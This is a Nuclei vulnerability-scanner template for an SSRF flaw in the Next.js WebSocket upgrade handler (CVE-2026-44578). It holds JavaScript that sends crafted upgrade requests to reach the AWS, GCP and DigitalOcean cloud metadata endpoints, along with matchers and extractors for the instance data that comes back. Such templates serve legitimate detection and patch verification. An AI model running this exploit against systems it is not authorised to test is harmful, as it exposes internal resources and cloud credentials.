id: CVE-2026-44578

info:
  name: Next.js WebSocket Upgrade Handler - SSRF
  author: hacktron,DhiyaneshDk
  severity: high
  description: |
    Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.
  impact: |
    Attackers can proxy requests to internal or external services, exposing sensitive internal resources or cloud metadata endpoints.
  remediation: Upgrade to versions 15.5.16 or 16.2.5 or later.
  reference:
    - https://github.com/advisories/GHSA-c4j6-fc7j-m34r
    - https://nextjs.org/blog/next-15-5-16
    - https://app.hacktron.ai/disclosed/scans/web_dmVyY2VsL25leHQtanMtbWlycm9y_1774994038380_2hfQkCKG/findings/66f26e9e-a71f-4997-85be-a0b5fa3b7d89
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-44578
    epss-score: 0.05039
    epss-percentile: 0.89869
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    vendor: vercel
    product: nextjs
    shodan-query: http.component:"Next.js"
  tags: cve,cve2026,nextjs,ssrf,websocket,cloud

javascript:
  - pre-condition: |
      isPortOpen(Host, TargetPort);

    args:
      Host: "{{Host}}"
      TargetPort: "{{Port}}"

    code: |
      let net = require('nuclei/net');

      function request(path, headers) {
        let conn = net.Open('tcp', Host + ':' + TargetPort);
        conn.SetTimeout(10);

        let payload =
          'GET ' + path + ' HTTP/1.1\r\n' +
          'Host: ' + Host + '\r\n' +
          'Connection: Upgrade\r\n' +
          'Upgrade: websocket\r\n' +
          'Sec-WebSocket-Version: 13\r\n' +
          'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n' +
          headers +
          '\r\n';

        conn.Send(payload);

        let response = '';

        for (let i = 0; i < 10; i++) {
          try {
            let chunk = conn.RecvString();
            if (!chunk) break;
            response += chunk;
          } catch (e) {
            break;
          }
        }

        conn.Close();
        return response;
      }

      let response = '';

      response += request('http://169.254.169.254/metadata/v1.json', '');

      response += '\n---AWS---\n';
      response += request('http://169.254.169.254/latest/meta-data/', '');

      response += '\n---GCP---\n';
      response += request(
        'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true',
        'Metadata-Flavor: Google\r\n'
      );

      Export(response);

    matchers-condition: or
    matchers:
      - type: dsl
        name: digitalocean
        dsl:
          - 'contains(response, "\"droplet_id\"")'
          - 'contains(response, "\"hostname\"")'
        condition: and

      - type: word
        name: aws
        part: response
        words:
          - "ami-id"
          - "instance-id"
        condition: and

      - type: dsl
        name: gcp
        dsl:
          - 'contains(response, "\"machineType\"")'
          - 'contains(response, "\"zone\"")'
          - 'contains(response, "\"serviceAccounts\"")'
          - 'contains(response, "\"networkInterfaces\"")'
        condition: and

    extractors:
      - type: regex
        name: digitalocean-hostname
        part: response
        group: 1
        regex:
          - '"hostname"\s*:\s*"([^"]+)"'

      - type: regex
        name: aws-metadata-keys
        part: response
        regex:
          - '(ami-id|instance-id|instance-type|local-hostname|public-hostname)'


      - type: regex
        name: gcp-machine-type
        part: response
        group: 1
        regex:
          - '"machineType"\s*:\s*"([^"]+)"'
# digest: 490a00463044022046845182d02476b936b2e7826317a301aa6fa823e6f1c06cde4e43bf6705427702207d693a3913e521c8063305422ff4fff2aa505a3751adfc86e1a04dc7853f7768:922c64590222798bb761d5b6d8e72950